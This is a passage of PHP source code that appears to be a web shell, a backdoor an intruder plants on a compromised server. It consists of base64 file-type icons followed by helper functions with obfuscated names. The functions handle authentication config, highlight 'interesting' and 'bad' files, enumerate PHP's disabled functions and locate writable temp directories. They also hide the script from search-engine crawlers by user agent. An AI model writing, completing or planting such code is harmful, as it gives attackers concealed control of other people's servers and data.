"ttf"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAIHSURBVDiNlZJBaBNBFIb/newmxRRT3EqqobhRDCiJB+vBUxHBgxavevLgwbuCBcGexUNPlZ5EpCAIhXiViiJEbQIpttRFya5mkyZE0iSVom3dnTe7HlIDWzdQf5jL+9//DW/mScVi8RIRTbuuewb/IcbYqizLd6VcLreqaVomHo+DMbavsOu6aDabqFQqn2THcTKqqsJxnMBmIVzcf7QAAHh4+3KvrqoqDMPIyEIICCH63rawaKCxvglJAnZsjoGwvAvu5hgRwfO8wLP5cwev8yWcO50A54RqY8PnExEY57wv4PnLZUyMn0JKGwaRQLnW8fmcczAhRGDYqndQqXcwPnYcx44MQQiBcq3t6xFCQP47wl49yRZw4+oYAA+jI13At7WWr5eIggEfli0MHRxASjsMz/MQVkIYUQdh1dsgEgiFWH+AwwlPs4uYuJBGbulrr67IEn7bDqrfN5BMqP0B2VcrODE6jK1tG1vbdq8+eCDcHaPagnb0UDCg/eMX3hZKmJm6hrAS8o318XMNhRULZnUdF8+nggGP59/j+pWzUGT2z7skEyqICIbV7HlE1F2ktUYbN+/N4U3+C+Ze5FGutXzf9W7JxJ0H8xBCQDfquDX1DLbtgIggzc7OlpLJZCqdTkNRlOB93iPOOXRdh2VZhhyNRidN05zWdf3kvtK7ikQiZiwWm/wDf6N/hwnofhAAAAAASUVORK5CYII=",
"jpg"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAIcSURBVDiNlZJNTlNhGIWf9+v9bi8FqnANjVHToCE6ANbgxGUYN8EiTGQJrsC4AgdOGOgABkCjicVII1qr/LS0vbf9fh1gwszQd36enPOeI7u7u8+MMdsxxk1mOBE5SNN0S3Z2dg6azeZGo9FAKXUjcQiBXq9Hp9M5TIwxG3meY4yZxQB5ntNutzcS5xzv9g95/votsVYhaoVMPTJ2SBmQSUAmEWVALIgXAN68eoFzjsQ5R3cwYPl+E5nXBC1MLwvi0JBahSojYWShDIgVlFeIwFl/zLxyJNZaVK1G404DVdUEAk47wnyAiUcM6GmkPC9JKxlZrYZSglRTbGGvHFSU5unjR3y6GLOgFRdjQ6xFcIJYoWYD7rYnRE1taZEs04j2VxG89yhV4ecQ1u+tcNIfczeZp55ozieRlVRzfDxgablKVCmrj5aIaQLSxXuPcs5BgBgjE+tQUVitz/HroqQYTOn1CvIsJUOhBUZDQ7c3Rny8fqLygcuzEeNRSXCBD51z/NTjho5CKnQLjy0cWX2O3u8qIkK4lV0DEufon5xSSROCD5ixYTIo8YVFoQg2XpV/BhWdXAE2Hl4DqlPLny8/ULpC9AFTTHCl+++QnH1wDWjkdU6/fZ1piSv5Iv3uvxY2nzT5/v7lTIDhcMjn/Y8kSqn23t7e2vr6OlrrG4mttbRaLZRS7WRhYWHr6Ohou9Vqrc3iIMuydr1e3/oLlTAupOJParwAAAAASUVORK5CYII=",
"css"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAHNSURBVDiNlZK9bhNBFEaPZ2e8axvbImtpgcpCIkIiToOgoqXlAWiQeAAaSB16/AC8Bq/g1lUWV+vGrVG0koOw1zt/FAOJrITE3G6k+c7cc+80ptPpa2PM2Dl3zH+UECKXUn5qTCaTfDgcjrIsQwixV9g5x3K5ZLFYfJd1XY/SNKUYv8f8LAGQ3QOGH77eCknTlKIoRtJai7WWh65EdRsAaFfivb8V8DcnjTF471HO4rdbAJSK7wQAGGOQWmu894jHzxH1BgDfbOH2AGitkdZavPcU0RTNeeggGlCefmN7sQYg7rV58fnNjRqXCll7ifwzA2OXdMwBzW4GQG30jUrGmCuAEGBNUBBRgnQCW9UAyGZ0N0ANXoENLRO1aT1N8VsLQCPeA3D6Q7OqfgHQTxRnasW5DlsZqJjD8Rmri3Du92K+fDzeBVQP1rRVAkCl15TlI6J7CoDSaDa0SO43AdjYGu/9LsBElrUJCs0oRhqoqvBiIgXOSzaboBQruQvQWvOsc8SWKlwgoZclrHXwbqsGWSOm0sE9UeEPGGOQUsoiz/PDt0fvUEpdTejltZldltaaPJ8hpSxkp9M5mc/n49ls9uTfkesVx/G83++f/AbgZRYV7aahUwAAAABJRU5ErkJggg==",
"html"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAJ/SURBVDiNlZM9b1RXEIafe+65d9d79wP7rr1oMeCAsOTEjpBQKBBJlygSTZQ+HT8B/gUVok2RPp0lJIjSWJFSGCS02aBk14XBCWZtgyzb7OJ7zpmh2NgUTgFTz/vMzDsz0erq6tfe+zsi8jkfEcaYjrX2VrSystKZm5tbarVaGGM+SCwiDAYD1tfX/7BFUSzleU5RFAAo8PDxvzzfGbLx6oDzMzXO5Bl5NeWLS/kxJM9zer3ekg0hEEIA4OXuiJ9/e0atWuaT9ilazSrtqYwgyu9/Dbj/6Dk3v5mnPVXhSGe896gqIsK95afEScKhE2abGQuzk9QnEja29zEmwmO4u/wnzgdUFe89xjmHqvLjw7+RaOzB1fkZUhuTWIOoosBktUR9IsXElp9+7aOqOOcwIYxpG6+GnJup8+Vnp2lkKTY2JLGh8MJgd4iIciavUC4lrG8doKqEELBHI8TGcHV+hnJqMSYiNhE2NjzdeE3hhM23b1BV8lqZYazvRzgCnJ2usb33lkdrW+wNi2O3s1KCicbb8aKMCk/rVOUkYCIxqAhrL/b45ck/PNvaxwfh8oUm31+7SKOSIgKT1ZQkjk4CpuspO7vjNkeHnsdrO7ggBFF8EKrlBBFlNDpkup6eBFxfaHLoHM1qig9Ke6qC84Lzgg8CwN7+kDSG6wvNkwBV5dvLp3mxvcvm1mtmpyu4ILgg7A8LDt6MqJUNN660j/O99+MtOOew1jKZJdz67lMePNmk09+kcOPKaWKYnZrgh6/Ojs/9P7H3Hmut7XU6nfnFxUWSJMHGETeutP/3iVQVAOcc3W4Xa23PZll2u9/v3+l2u5c+7JHHUSqV+o1G4/Y7VN2AN07a1GsAAAAASUVORK5CYII=",
"txt"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFMSURBVDiNlZA9isJAFMd/hgcWFhZRJFNoLLZ0a7XfStDLrLfwMAqewEILu6xV0lgpgieYj2SbTdhs4qIPhhmG/+drHI/HD2vtKk3Td14Yz/MiEfls7Ha7KAzDUa/Xw/O8p8hpmnK73Tifz1+itR75vo/W+pUA+L5PHMcjcc7hnHuJDJDzxFpLlmUArNdrut1uAVJKcblcSm+lFMPhEABrLWKMKQQWi0XFKQzDyjvHG2MQ51zxsdlsAIoUSimAwjlPM51OixqlCvP5vLbvYDAo3TneWlsW2O/3JadHu8irVAQmk0nJqS7FvwkOh0OJdL/fAeh0OgAEQQDwOMF4PK7dwd95mGC73VbcrtcrQRDU1ioEjDGICLPZrALq9/sl199kay2eiMRRFKG1Jsuyp47WmiiKEJFYWq3WMkmS1el0entqAT/TbDaTdru9/AbO//fVB3FwJQAAAABJRU5ErkJggg==",
"cpp"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGnSURBVDiNlVIxSxxBGH0zfncrd5oDN3AEUhwJZyFcTBPShqC1IvgLhOQPxN42YJFKQjoLsZBUKZIiaRZSLZFkPDHuNmfnFRdOPIw3881Mqj1Z16D3wWvefO/xvceIOI4XmXnTOfcEY4yUUhHRGxFFkWo0Gq16vQ4p5Z3Ezjl0u110Op0D0lq3wjCE1nqcAxCGIZIkaZG1FtbascQAkOmImeG9zz3+Sob4Fl+g22OUSGDuURnLL6ZQmcxHZGZIYwy89yP8OLrE+499BCVgdWEKi88r2P89xNZeP7fnvYcxBmStzV3w+fsA0xWB1ys1ZJ0+uD+Bs4GFcx5C5GMUIpycajydDSCER0Y/fkgACMAVl0UoGDAD2vhCLzcNM0NmBhnqMxIqHcKwG3E/jy+x9/Uc2rjc7o0GKy+rOO0ZbHzoIdq/wKdogLfbfxAf/sWERMGgEGG+WcbGqxnsfDnHu90+yiWBZ3MB1pbu3a2DzGS+GRYyX98bGRhjQES3lnZdzMyQRJQopaC1LnyU/0FrDaUUiCiharW6nqbpZrvdbo5zQRAEaa1WW/8HGgtKKBMv8f4AAAAASUVORK5CYII=",
"h"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFkSURBVDiNlZIxbttAEEUfV+OoUKGChVohQAA38hnSuHbnO7iPD5DeB8hBcgKVkd3QQmRQgKHKgNwZSEEuZ3ZSMLIpUwmiD0yxmP2D/+dPtlgszlX1JqV0xhEIIRQi8iWbz+fFdDqdTSYTQgj/RU4psd1u2Ww29xJjnOV5TozxGAHkeU5ZljMxM8zsKDLAjhdUFXffK0oYXA7gB71et1QVaZqmJXWh4L8cV+/3OmiaBjGz/qcE1ICBN072nOETh0HfhuwsvB/gtcMtyFeBCvyjo98UPnSEqh7egSdvFTxB/B6xKyNbZWR3WX8HBxVYq8A+Gx4cmxmhDvjL/k56CngAr/x1Bx46ydTg1k9hb8DJxQk8gifHa38j7N56IMauhepn9eZi9ee4HPzUqVbV67trQVS1zVPkr3kfgqq2FkSkLIqCGOM/r65bMUaKokBEShmNRtfr9fpmuVx+OkbBcDhcj8fj698AUnPo+XFYhgAAAABJRU5ErkJggg==",
"java"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAIPSURBVDiNlZPPaxNBGIafncxumsa0lqUGxGAUrCKpgiIBrYKCFDz0Us/+BfUi9uJd6KHqQQ/qP+DFiwURepHGg0IO2jTQmoiWYrUpUvs76czsrIfQQNttwRfmMDPv+/B93zBOsVi8aYwZtdae4z8khChJKe87hUKhlM1me9PpNEKIaHPhGfbaUGtvraVWqzE7OzsllVK9vu+jlIoMO6u/8Ra/stVo7Dj3fZ9KpdIrgiAgCALCMNyz2Fii7d0D9MU7iJ+fd9xt54QxJjr8d47E2F10Jo/34QnOyvwejzEGqbVuBnaprfgSdeI63vQY9f6HBOmzsMuntUbsV34YS2APHSFM+YjF6UjPgS1s9t1DfpvA+KcRS9+bVW5t7G1hG7Ct+JdXeDPj6MwldCaPO/cJm+zGm3xNbKGEWFtgffAFQDRAZ/LE5ichUDiNZdTxyxBPoU5eJS4EXnW85Y8EmK4s5tgFvJm3OFYRugmC1FHY+ANBg9WBp61hRgLEeg3rdSDWauC6OPVlwjDG1pUbhInDTdN+gI43Q8hfU6gz/dRzgyBcsBYn2CT5fgRH1VHZPhrnb+8EaK2RUrJ66xGxpR+0f3xOW3UCJ7SETgxCS9jeRZDqxvjZ1gsYY5BSykqpVOrJ5XK4rovt7mFl4HHkv2gNWinK5TJSyopMJpPD1Wp1tFwunzowtUvxeLza2dk5/A8rQ4uu8K0RngAAAABJRU5ErkJggg==",
"js"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGZSURBVDiNlZKxa1NRFMZ/93IhlhQjfUKQog2COEWnKDgK3aKj6OBf4OJg/4FOgtl0sLgJWXUXRIgFh1CQZ1xeBoNQIeKg4uJ9557jUKt9pkZz4Gzf9zvnu+e64XC4LiI9VT3HAuW9z0MId9xgMMhbrVa72Wzivf8vs6oynU6ZTCZvQoyxnWUZMcZFFiDLMoqiaIeUEimlhcwA+74gIpjZwgAAEcGXZYmZ/e6v7/Fbq/BpBLvbuKdX8I9a+P4F+Pi6oi3LkpBSqm5gYNFharhXPWz5JOn6Fu7zO6y2Age0h0dQ+wkAlk7hime4mLCzV7ETnQpARPD7gF+thn3f2yCt3yNdvouVDvfkFuw8rmgPBxho9KgCO3302GnSpdtoOI59+zIDmIngdt9iegQ7ugof+rjnD0AFXetg56/NRKgA/Iv7uJcPsc4NrLaMdTehu1m93TyAtrvYxZuw1KgI5/2DICJ79wwBW1mbmTLPLCL4EEKR5zkxxj8e8+8dYyTPc0IIRajX6xvj8bg3Go3O/HPsgarVauNGo7HxAwJPUB9huYnSAAAAAElFTkSuQmCC",
"py"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAJkSURBVDiNlZO9a1NRHIafe+65uflo2tigKVgxUq0gbUUcREQ3cfALHN0EK66CHVzcXMTJ2X/Af8DJwVYqQqWWNFSbKNaKH63VmCa9yT3n3HscNBeli77z8z783uHnzM3NnTbG3IvjeIL/iBCiIqW86czMzFTK5fJ4qVRCCPFP5TiOWVtbY2VlZVEqpcaLxSJKqQR49PwVzxbf4gqBUhqtFdcunmR071DCFItFarXauIiiiCiKsNZiraXRCpivf+bUkYNk8gUcv4/1AO4/fJww1lp6PWmMwVoLQLPdYW7pHZtByHRllVani47gR6CxTifhejHGILXWWGt58vINs6+/0OxEbHZjgkaTTjdEOR6trqE/FRK+uA64iNEbyPwIWmtE7/zpxVUqGw5LGxEfWoKvyqNFFhUJsukMGbYoFPawM1wgrN5NZiQTgtCg4gyu9PBcS9T4hI/CcyDrhlwafY8XZSBSEDWw1v6a0BNopcBxSPk+pcY8t868YyjXxuouKdcl7wtoLEMUEMdsF6SFxrcWwk0uT7zn0Ege2uugO6DasNUC3QXhEWqPzG+B6AmunjvOfucjO7of2NXXBrOMdbZotjb4sdWioX2+iTKrqowdOrv9guHSILcnLwCgl2Yh0wcyhacjYiNofFcEg1fonzhBxu/fLvgzOs5DLotjArLpAmvNo8TBU/p2H8NN5RM+EWitkVImAnd4klrlAdKzxFZi1AJix3nS6cJfZWMMUkpZq1Qqo2NjY3ieB4DM76P/8J1tT9Qra62pVqtIKWsyl8tN1ev1e9Vq9cA/veLv+L5fHxgYmPoJJsCGQPCg5+wAAAAASUVORK5CYII=",
"diz"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAD9SURBVDiNzVCrjoRAEKyddIJAIEZgMSc5D34TFF9z+xf7NQgMDoHBzaHAYPmFmZ7hxIXN7oYhh7tOKun0o1JVl77vr8x8d8594kQJIRQRfV3atlVJkqRxHEMI8adn5xyWZcE8z9+ktU6llNBanxEAKSXGcUzJWgtr7alnANj+iJmxruvuUdd1AIA8z3f3zAwyxngJtrlvb4wBWWu9B1mWHRIcWqiq6tGXZem1IDaCdxRF8WJlD8zsV/A881n4HwTeDJqmeRzWdX2cgTEGRPTC/hzingpm/lVARKNSClprb9rv0FpDKQUiGikMw9s0TfdhGD52jXoqCIIpiqLbDyVJHq338QJuAAAAAElFTkSuQmCC",
"cmd"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAHiSURBVDiNlZK9a1NhFMZ/933P/Qgp6XDFki2LLjZFdKoEWpBY/4Vg/oNSFPuRbiKunaWEqhQRcZdOQrldHKJLkikB6dpF7VAJyfu+1yFfHXsPnOXA+Z3nPDxeq9WqGmMOnHMrZCilVFtEdryzs7N2qVQqLy0toZS60bJzjouLC87PzzsyHA7LcRwzHA6zCCCOY3q9XlmstdRqNZIkyQRYW1tjc3MTZYzJvAyQJAnGGNRoNJoNC4VCJshoNEJZa2eDTqdDo9GgUCjgeQqtNFoLon1E+2gtaKXxvLHZ1trxC9OqP6uzuvqIdrvDfmOfW/FtoiBHFE46yBEGOaIgIgwijDGIMQalNKKFH62f1Gt1tp5v0djfo1gs8vrVGzw8AFJS0jTFOYdL7RzgS4BooVKpsL3zkvJKmaPmO94fHRMFOZgAIMWlbgxw1wCiBRGf448f+PzpC9sv9rj8c4lSQhjk8LyJgul1Z7DXAQCihMfrG/z9fYmI4PshyfdvLCzkZx6tPlgfX7YaM7iaA6obVU6+nvDv1xVq4rxWmvv3HqKUnkV8Kt06y5On1Tng8PAtURRlysBgMKDZbCIi0js9Pb27vLyM7/s3DlC320VEepLP53f7/f5Bt9u9k0VBGIb9xcXF3f+O+N/4FuZWJwAAAABJRU5ErkJggg==",
"xml"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAHGSURBVDiNlZLPSlthEMV/98t3c4PBXJtbSCEg2RQkNN34DC5cuOgL+BT1LXwAX6R7CegmReE2tHAjKsQ/pCuDBsn3504XMTeNLaUZmMUMZ86cOUzQ6/V2nHOHeZ5/ZIVQSqVa689Bt9tNW61Wp9FooJT6r+E8zxmNRlxfX3/TxphOkiQYY1YRQJIkZFnW0d57vPcrDQPM57RzDhF5pVFABQAEE0NgPXmtUvTm4ZxDWWsRkSLLJ1eou3FRV758R/fvUXdjyidXS1hrLcp7XzSi7iXh+S2+vjZT9WzRP0aYdgNfXyM8vyXqXhZ47z1qfkJ0fEF4NuRxf5s8KiEihP17/NsqPq6QRyUe97cJz4ZExxeICM65hQfB0xQBpBQUnoRfh5jOu4VHpQCBGfaFoFAw2d3Cbm6wfnQKU0cwfkZnP5nOCaaO9aNT7OYGk92tPwlEhMleG9uMUTcPlHtDbKuOr5YREdTNA7YZM9lrF/ilE+bx9OkDgfWIVovtgGvWsK038Bv2rwQAohV5s/ZSSNHjFa4gsNaitV7pE51zMw+01lmaphhjlp7kX2mMIU1TtNaZrlarB4PB4LDf779fRUEURYM4jg9+AY0DZ4cpAUR4AAAAAElFTkSuQmCC",
"avi"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAJgSURBVDiNlZO9bhtHFIW/mZ2d3RVXJEs1hBMYCQtFhhYp1QgR8g58Cbmy38JurJcI8hCBmq0JxEVAG8gP1KiUREhczp2fFLMJbHe+7WDunHO+M+ri4uJn7/0bpdSLl9/8RdFU6MpS2BJVGgCSeIIT4t4Rdnve/f0tKaXfjTGvzG63e9v3/cnl5SU/Pj+ksBZdlejSoAqdF4RIFE/cC8E5fmifcXV19eLs7Oyt8d6frFYr7u7ueAjvsbWlqPLrSo8LYswq9oIbHB//dKxWK7z3J+r09DSt12vOz8/5mrm+vqbrOtTx8XGazWYAXJ38Q12XaGvRpYbRAiESJRKdYxiEy/fPALi/v0d77+n7HhHhcFJStzXNtKaZTTiYtxzMW5rZhGZaU7c1h5MSEaHve7z3GO89XdcBoKuSorYUTZ1pjBSieMJuP+YREBG6rsN7jxYR1us1IoIqCpQp0KWhqCxle0DZHlBUNlMxBaoo+PSO8d6zXC6z16RIMZFSIsWM7n8KKZFigpQQEZbLZVbgvWez2SAimbUIcXD4pwHZPiLbR/zTQBxcPhOPiLDZbHIGIQQWi0UOe1CgFMSEHi3lIoWcw94RBodIYrFYEELIFm5ubjg6OmL/lLCjdG2Kz4oUfSA6wQ2CiOL29pb5fI5q2zZZa7+qRP+Ncy4r2G63TKdTfltNqJsKbUt0WXzxF7KCYbfnp18eeXh4oGkaTAjhQ1VV32utmR3WuQO1RdsSZcYMRvlhcFRGIXJHVVWklD6YGOPrGOMbpdR3v/7xhLYeXRp0WX6hYKTkHM45Ukoftdav/wWP7nOnXPYUNgAAAABJRU5ErkJggg==",
"xls"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGUSURBVDiNjZMxa9tAGIbfyAeOAo1iuFsEJmA56RS62SZLfkTH/IpCO5bQIT8he5f+hC79A7ZXBZo0NhmkRcQKpJAW4/vuvgzNXSTbSXogEJ907/O8J7Tx7Xv6YZLPTsu7PyEAHB8pWGvx2gqCIBVCfNz4fPbj79abVrjbjtFoBHh/qMDML24mIuR5jqIozkVR/g7ftfdxXcxhmaH1DojoVYM4jpFl2YEgY3B7b2AfqcwMZsZwOAQAKKUwm838RqUUut0umBnGGAhDBDJPnV3AYDDwsyRJanRXkYggiAyqZ+YCptOpJ1ctnAEAaK0hjCWvXw1JkqRGrt47g8cKBtZy7SEzYzQa1ehKqZUqRARhjIGpCLiAfr/vZ51Op0ZeCqCawboXn1veoHoGzmA8HvuZlBIAUJYlpJS+ylPAmq/Q6/VWiMtV/gXQ+grOQErpyXEcIwzD1QqaCEFDPGvgyMt0IkIgW9vzm+wnSGtYyz7gpWuxWCBNUwghrsTbvfjLxa/85HJ0sQkAX3X0Xz9Ts9mcRFH06QFIsTx57QMZyQAAAABJRU5ErkJggg==",
"pl"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1wAADdcBQiibeAAAAsBJREFUOMuV08trXHUUwPHv73fvzJ1H53HlJmPStE2tdtEmXVhfzVSqkNpShCClCykFl26KG/sXdFtw5cKl/hlCDQQVbSjVzlhkZiCTKiZjJzWTed7f79x7uwg0uBDs2R7O5zzgqPX19YsicieO4zO8QGitH7qu+7laW1t7OD8/v1ipVNBa/6/iOI7pdDq02+2aa4xZzOZyDIZDtNZorVGA0hqlFGq/HSpJUEoBkCQJQRDQaDQWdRRFaKWeJ8UKe70uYi3j0ZA/278hJtyHlQKlcBwHx3GIoghXREAptNYYY2g3f6X7+HuOn77MXq/DaHeDbGGKIKhgrWXQ3yHlFTiUzyMiuNZalNaEkwl7vS6FvGXq7AW8NKR0hlL+KGawyZNEYSY9vrz9KUsXr1Bd/gRrLW4URYgxdDp/ED59hCQJo40uM4ePYCd9lNY4Toqdxz+w3XpA9Y1XmTvxNp6XPVhhPB6x0bhPOtzk/i8NHt37juMnXmEmKDCcJISDp7x54RLbm7/jV6aYO3aKYrGIiKBFBGMMg94OX3/1De9evsH1z74At8zdn/7m27v3KB95nQc//4ibzlI5uUy5VMJxnP0biAij0YBWbZ3Fd85z6swSmUyGs0uX2P6rze2bH/H+1Zvkc4fIZLMUij6e55EkyQFgJmOiOOGDD6+Ty+XwPA+lFKN+l/PvnWP28DEKhSJxHBPHMdbafwNpL8Nbyx8j4ycYY0in0ziOgx8cpVAsISJYa7HWIiJEUYRS6gB4eWaOXC5DEgsiwnA4JI5jCqWXOH3uGmKFwWBAq9Xin91dZmdnMWF4ABSLRcplHxH7fHylFL7vMz09TRiG9Pt9tra2WFlZoVar4fv+PuC6bmN1dfXkwsICqVTqPx9IKUW1WqXb7RIEAfV6Hdd1G24+n7/VbDbv1Ov1117knT3Pa5ZKpVvPANPKWvOoFTopAAAAAElFTkSuQmCC",
"htaccess"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1wAADdcBQiibeAAAAmFJREFUOMuV089LVFEYxvHvvXOuMzU69zZjlpWl+StzjBTLCAoljSL6sQiDVi2CNhFBSdtwFSK1rL+goCBoaQaGJBWTSONUNpOTlZFTQVZq051z7mkhKaQGvvAuz4fnOfAasVisTUrZ7XneNpYxpmnGhRAXjf7+/nhRIFaHOUl4RRMF4V2ISAhtgIGx6GPP88hkMoyNjQ0L13Xr8go8PqeG+DqUxhkboehoFH9TNUbYwTDFokgkEiGZTNYJpRROyUHM9DdGHnzkSSxDVd8kVXsShA9XYbU04LNDCwClFEopTCklPqsEu+Ik5WsqsXwh7kyEuXlXMnFpgFzXbdxUGq31gpVS4mtvb79cWlqKYYcwNzgY76axxhWDmIxMSza++Elo+CXaFpiVxaDn/yWdTmMqpWZFNIGdFUTPlXGg+hOHPD9fzHV0/Zph8JHF7ys95Hp78JQ7l2CuwnwssFq2s6qzmeaaUU6rH4SNzVwzvjGQXEu28zGq7yHay81V+AfQaG1gtuwgcPUIFVXvOaY8HKOG6ypLb6KeyRuvUB/G0Z63FDC7vsYowfPNbHHe0irzyZnl3MqzePO0COPeM/DU/wG0xjy+l+CpKPX+UXbLMJNelqGpDF/iU2Rnsv8HtNZoD8SZVkpOFNNmvSZqOPRt+sn9xgifsy5SSsRfYKnRThDrwj7KC5+z/7uffruQrD2DszIwD+RyOYQQSyJqdT7Bs000uJLS6fUMx2Lo3GwCUwiRjMfjuK67dBWt0X4fth2grLiYrbW1DCcSCCGSIhgMdqRSqe5EIlG5nHP2+/0p27Y7/gDPzYj0H4o5FQAAAABJRU5ErkJggg==",
);
/* functions */
function z7x($i, $k=''){ global $config; $m=array("version","auth","default_vars","banned","use_buffer","visual","reg_interesting","reg_bad"); if(!@isset($m[$i])) return ''; return ($k!='') ? (@isset($config[$m[$i]][$k]) ? $config[$m[$i]][$k] : '') : (@isset($config[$m[$i]]) ? $config[$m[$i]] : ''); } function z3c($i,$t){ if($t!='d'&&$t!='f'&&$t!='l'&&$t!='e') return ''; if($t=='l'||$t=='e') $t='f'; $cs=z9w('reg_self'); $ci=z9w('reg_interesting'); $cb=z9w('reg_bad'); if($t=='f' && $i==@basename(__FILE__)) return (($cs!='') ? ' style="color: '.$cs.'";' : ''); foreach(z7x('6',$t) as $r){ if(@preg_match('/'.$r.'/i', $i)) return (($ci!='') ? ' style="color: '.$ci.'";' : ''); } foreach(z7x('7',$t) as $r){ if(@preg_match('/'.$r.'/i', $i)) return (($cb!='') ?' style="color: '.$cb.'";' : ''); } } function z6j(){ $i=@ini_get('disable_functions'); if($i!=''){ $f=@array_map('trim',@explode(',',$i)); @sort($f); return $f; }else{ return array(); } } function z9w($i){ global $color_skin; $a=z7x('5', $color_skin); return @isset($a[$i]) ? $a[$i] : ''; } function z9u(){ if(@isset($_SERVER['HTTP_USER_AGENT'])) { if(@preg_match('/'.@implode('|', z7x(3, "agents")).'/i', $_SERVER['HTTP_USER_AGENT'])) { @header(z7x(3, "send_header")); exit(0); } } } z9u(); function z9s($k, $w='',$u=0){ global $lang; $l=z7x(2, "language"); $r = ''; if(!isset($lang[$l][$k])) return "?"; $r = $lang[$l][$k]; if($w!==''){ if(@is_array($w)){ for($i=0; $i<@count($w); $i++){ if(@isset($w[$i])) $r = @str_replace("[%".($i+1)."%]", $w[$i], $r); } } else { $r = @str_replace("[%1%]", $w, $r); } } return ($u? @strtoupper($r) : $r); } function z9a(){ $o=''; if(@defined('PHP_OS')){ $o=PHP_OS; }elseif(@function_exists('php_uname')&&@is_callable('php_uname')){ $o=@php_uname('s'); } return !@empty($o)?$o:"*NIX"; } function z6b(){ $i=@get_included_files(); return (@count($i)>0) ? ($i[0]!=__FILE__) : 0; } function z9d($d,$s=':'){ if($d!=''){ if(!@strstr($d,$s)) return array($d); return @array_map('trim',@explode($s,$d)); } return array(); } function z9i($i){ foreach(array("a"=>"4","e"=>"3","o"=>"0","s"=>"5","l"=>"1","t"=>"7") as $k=>$v){ $i=@str_replace(array($k,@strtoupper($k)),$v,$i); } return $i; } function z3k(){ $wwwdir=false; if(@isset($_SERVER["SCRIPT_NAME"])) { $sn=z1i($_SERVER["SCRIPT_NAME"]); if(@realpath($sn)){ $sp=z1i(@realpath($sn)); } else { $sp=z1i(@realpath(__FILE__)); } $wwwdir=z1a(@substr($sp,0,@strpos($sp,$sn))); } return $wwwdir; } function z6k(){ global $win; $s='/'; $tmp = array(); $tp = array(); $tn = array('/tmp/','/dev/shm/','/var/tmp/'); $tw = array("%WINDIR/temp/"); $ti = array(@ini_get('session.save_path'), @ini_get('upload_tmp_dir')); $te = array('TMP', 'TMPDIR', 'TEMP'); if($win){ foreach($tw as $t) $tp[] = $t; } else { foreach($tn as $t) 